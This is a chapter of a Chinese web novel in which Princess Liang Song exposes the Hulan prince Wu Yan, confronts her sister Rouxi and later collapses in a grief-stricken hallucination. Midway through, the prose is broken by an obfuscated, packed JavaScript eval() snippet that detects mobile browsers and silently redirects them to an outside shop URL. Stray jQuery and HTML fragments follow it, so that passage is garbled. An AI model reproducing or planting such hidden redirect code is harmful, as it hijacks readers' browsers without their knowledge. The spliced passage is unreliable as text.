在场的所有人听到这句话后的反应出奇的一致,就连柔溪都向乌焉投去诧异的目光。
梁颂向前几步,目光扫视着乌焉的脸,忽然伸手将覆在他面皮之上的人皮面具撕了下来,“王子殿下不打声招呼就跑来大宣,甚至掳走本宫的妹妹,你的阿姐没有教过你什么叫礼数吗?”
乌焉被人压在地上半跪着,他仰着头阴鸷的看向梁颂,“真是好久不见啊,我的未婚妻。”
林鱼站在一旁,愕然看向面无表情的梁颂,这乌焉是胡兰王最宠爱的王子他是知道的,可殿下又是如何与这乌焉定下了婚事?!
柔溪如遭雷击般愣在原地,她不可置信地目光缓缓移向梁颂,嘴巴嗫嚅不知道说些什么。
她该怎么说,又要怎么说。
救她一命又将她控制在掌心的人,是胡兰国的王子。
可为何胡兰的王子,会将皇姐唤为未婚妻。
柔溪挣脱身边北侯军的搀扶,一步一步朝着梁颂走去,她踉跄着来到正在对峙的两人身边,手指用力紧紧抓着梁颂的袖子。
乌焉玩味的看着柔溪,薄唇勾起微妙的弧度,神情嘲讽:“小殿下,这就是你的皇姐,她什么都知道,但什么都不告诉你。”
梁颂:“柔溪,你想说什么?”
柔溪摇着头,她泪流满面看着梁颂,哽咽的无法开口,她要怎么开口去跟皇姐说自己与那叶无有关系。
可她又怎会知道叶无就是乌焉,言明他便是将凉州变成人间炼狱的幕后真凶。
“皇姐……”柔溪内心挣扎着,她脸上表情似痛似悲,“对不起,对不起皇姐,我不知道……”
“柔溪,你在对不起谁?”梁颂反问,“是凉州的百姓,还是无辜惨死的北侯军。”
柔溪愣住,她眼泪被梁颂轻轻拭去,脸上温凉的触感是梁颂的手指在摩挲,北侯军和宋家亲卫围在这里,静静地看着这一场闹剧。
她内心慌乱至极,有些听不懂梁颂在说些什么。
“柔溪,半年前你在滨州被人卖到了一户商人去做冲喜新娘,可那夜过后刘家横尸满地,你不知所踪。后来你的行踪又出现在了凉州。”
梁颂缓缓开口,语气沉稳诉说着柔溪隐瞒的一切。
“而那夜替你杀了那家人的人,便是秘密入境化名为叶无的乌焉,他以救命之恩要挟你听从他的安排,你仓皇不知所措,第一次做行骗之事,被我的人查到了踪迹。”
乌焉冷嗤一声:“梁颂,你可真虚伪——”
啪——
他话音未落,梁颂的巴掌已经扇了上去。
“你若学不会说话,我不介意替你的父王教训你。”
梁颂甩了甩手,用帕子擦干净干净的掌心,而后将帕子扔在地上,等同于将乌焉的脸面踩在脚底下。
“你!”乌焉欲站起身,他怒极时眼睛都被梁颂的行为气得发红,而柔溪脸色惨白,一边摇头一边看着神情冷凝的梁颂。
“皇姐,原来你都知道啊。”
梁颂漠然点头:“父皇传信让我寻找你的踪迹,自你出宫后我的人就一直跟在身后。”
乌焉冲天哈哈大笑几声,他睁大双眼,眼白布满红血丝,但他脸上的表情却是兴奋的,甚至眼球都因为神情惊动而战栗。
柔溪捂着胸口急促的呼吸,整个人处于一种惊慌错乱的状态。
她在害怕。
她对昔日喜爱有加的皇姐怀有恐惧。
“你为什么,知道的这么清楚?”柔溪盯着梁颂的眼睛,她在观察皇姐是否在说谎,“你明明才从冷宫里出来不久,你是怎么将自己的势力……”
“我是怎么将我的手伸得这么长,对吗?”梁颂笑了,她抱着手炉笑的肩膀直抖,可她的眼睛里没有一丝笑意。
那些想要探头张望的百姓被北侯军强行按了回去,大街上除了他们一行人,再无旁人在侧。
宋家亲卫惊惧交加站在一旁,林鱼抿着嘴看着梁颂的侧脸,他以前在京城时听说过家中长辈谈论被废除封号的皇长女。
只是那时年幼,尚且未知何为废除,何为冷宫。
如今看来,梁颂并不像表面看上去那么无害,她暗藏的阴影里的秘密恐怕只是在宋怀玉面前显露出冰山一角。
除了尚处在震惊之余的柔溪之外,所有北侯军都仿佛被人堵住了耳朵,对梁颂说的一切都没有任何反应,就连那些亲卫也是。
“柔溪,你不会想听的,我能走到如今这个地步,皇后娘娘功不可没。”
梁颂转身不再去看,只是走到乌焉面前,弯下腰一把钳住他的下巴,冷白的脸上恨意乍现,“乌焉,我本来没想找你麻烦的,可你偏偏主动送上门来,那就不要怪我了。”
“……那我便等着,看你会怎么对你的未、婚、夫——”乌焉挑眉挑衅回去,一副死猪不怕开水烫的样子。
梁颂闻言挑起嘴角,神色里带着旁人捉摸不透的快意,“宋武,割下他的手指,派人送去给国师大人好好瞧瞧。”
停了一月的大雪在此刻复回,冰凉的雪花落在梁颂的发间,她神色不变,脚步不停继续吩咐:“宋文,把柔溪送回京城,人若是跑了,我拿你是问。”
所有的一切都已经上了正轨,梁颂快意地在大雪里大笑出声,她将所有礼仪教条抛在脑后,将所有人的目光遗弃在身后。
凉州大牢里的人一死,苍城里的人重回天日之下,而芒砀山的那场大战,也是时候该有个结果了。
梁颂不知道走了多久,她看着面前苍白的长廊,缓缓扶着坐在廊下,看着面前被大雪倾轧的脆弱枯枝,或许是之前那场久违的暖意,那枯枝上竟有了一抹绿意。
亲卫远远跟着她,没有上前打扰梁颂此刻的安宁。
这些日子没头没脑的线头在此刻稍显头脚,梁颂按着一只线头将其拽出来,一点一点缠绕在手上,看着它的来处。
早在凉州那晚傅桑拿着面具过来的时候,梁颂就已经猜到了在凉州城内制造出这场混乱的人是谁。
乌娅出自胡兰最为神秘的部落,她十六岁入主国师府,十八岁将王庭一半的权利掌握在手上,而胡兰的乌焉与她是一母同胞的亲弟弟。
乌娅的母亲是胡兰的王妃,早在嫁入王庭前就已经秘密诞下一女,将其交给部落首领抚养长大。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254110|148699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
乌焉能在王庭中以废物的名号自居而不受人迫害,纯粹归功于乌娅。
野心勃勃的姐姐帮助废物的弟弟在吃人的王庭里站稳脚跟,却还要被身为王妃的母亲训斥为何不将王位夺下交与胞弟。
梁颂早在深宫时,福来就通过各方手段暗自将一些情报信息交给梁颂,宣妃生前待身边人极好,从她身边出去的侍卫早已成为了镇守一方的将军。
后来福来悄声将一些物品运往冷宫,却被杨家安插在宫里的内探发现,杨家派人将冷宫看守的更加紧密,福来不得已停下了与梁颂的往来。
“在想什么?”
梁颂坐在地上,蜷着腿看着枯枝上的那抹绿芽,耳边突然传来一声不似真切的问话。
她没有回头,只是慢吞吞转动着眼珠,企图将那抹绿意印在心里,她嘴巴微动,轻声道:“没想什么,只是在思考接下来该如何计划。”
“我只是在思考,我接下来的每一步该如何去做,该怎么做才能不会有半点差池,才能将血海深仇一一还给他们。”
声音还在继续问着她,在空旷的庭院随着风传荡,诘问着梁颂一路走来诡异的诡异作风。
“闭嘴。”梁颂曲着手指捂着耳朵,她面色惨白坐在那,目光盯着虚空一点,整个灵魂都似乎游荡在肉身之外。
“你在想什么——”
梁颂头痛欲裂,她看着那抹刺眼的绿芽,沉下心想要摆脱脑海里那道声音,却怎么都摆脱不掉,那道声音又变成了阿娘的。
“颂儿,快过来让阿娘瞧瞧。”穿着深红华服的阿娘站在那里,对着梁颂招手,她手上青筋暴起,挣扎想要去够阿娘的手。
可为什么够不到。
“为什么。”
梁颂茫然问着她,眼底的浮光碎成无数片,落在地上成了雨。
“阿娘,我为什么抓不到你的手。”
梁颂扶着墙站起身,病态地想要去翻过扶手,去抓她的阿娘。
远远在一边看着亲卫看到她如此动作,一群人急的一拥而上,都没能快过那道疾驰的黑色身影。
梁颂在落地的前一瞬,被人从身后抱了个满怀,她仿佛抓住了救命稻草,豆大的眼珠从眼角滚落,藏在声音深处的哽咽才堪堪显露出来。
“宋怀玉,我怎么一直抓不到我阿娘的手。”
宋怀玉喘着粗气,身上还裹挟从战场上带下来的杀意,他将梁颂横抱在怀里,脚步匆匆抱到寝室放下。
他伸手去触摸梁颂的额头,摸到滚烫的感觉后冲着屋外叫道:“付雲呢,快让他过来。”
梁颂的手还在紧紧抓着宋怀玉的腰带,眼睛虚虚看着宋怀玉,她此刻已经看不清任何东西,只能隔着一层薄薄的雾看到轮廓。
她手上用力,将脸埋在面前的怀里,不顾他的铁甲会不会硌到脸,也感受不到扑鼻而来的尘灰味。
宋怀玉在梁颂有了动作之后,身子就已经僵在了眼底,他异常小心的低头看了眼神志不清的梁颂,问了句:“殿下,你醒了吗?”
良久之后,他听到了梁颂的回应。
“宋怀玉,原来真的是你啊。”